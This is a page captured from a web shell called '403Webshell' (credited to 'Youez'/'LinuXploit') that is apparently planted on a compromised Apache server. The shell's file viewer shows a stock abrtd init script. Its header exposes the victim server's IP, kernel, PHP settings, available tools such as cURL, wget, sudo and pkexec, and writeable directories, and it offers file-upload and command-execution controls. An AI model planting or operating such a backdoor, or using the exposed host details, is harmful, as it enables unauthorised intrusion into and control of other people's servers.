403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/rc.d/rc4.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/rc.d/rc4.d/K16abrtd
#!/bin/bash
# Starts the abrt daemon
#
# chkconfig: 35 82 16
# description: Daemon to detect crashing apps
# processname: abrtd
### BEGIN INIT INFO
# Provides: abrt
# Required-Start: $syslog $local_fs
# Required-Stop: $syslog $local_fs
# Default-Stop: 0 1 2 6
# Default-Start: 3 5
# Short-Description: start and stop abrt daemon
# Description: Listen and dispatch crash events
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

RETVAL=0

#
# See how we were called.
#

check() {
	# Check that we're a privileged user
	[ `id -u` = 0 ] || exit 4

	# Check if abrt is executable
	test -x /usr/sbin/abrtd || exit 5
}

start() {

	check

	# Check if it is already running
	if [ ! -f /var/lock/subsys/abrt ]; then
		echo -n $"Starting abrt daemon: "
		daemon /usr/sbin/abrtd
		RETVAL=$?
		[ $RETVAL -eq 0 ] && touch /var/lock/subsys/abrt
		echo
	fi
	return $RETVAL
}

stop() {

	check

	echo -n $"Stopping abrt daemon: "
	killproc /usr/sbin/abrtd
	RETVAL=$?
	[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/abrt
	echo
	return $RETVAL
}


restart() {
	stop
	start
}

reload() {
	restart
}

case "$1" in
start)
	start
	;;
stop)
	stop
	;;
reload)
	reload
	;;
force-reload)
	echo "$0: Unimplemented feature."
	RETVAL=3
	;;
restart)
	restart
	;;
condrestart)
	if [ -f /var/lock/subsys/abrt ]; then
	    restart
	fi
	;;
status)
	status abrt
	RETVAL=$?
	;;
*)
	echo $"Usage: $0 {start|stop|status|restart|condrestart|reload|force-reload}"
	RETVAL=2
esac

exit $RETVAL

Youez - 2016 - github.com/yon3zu
LinuXploit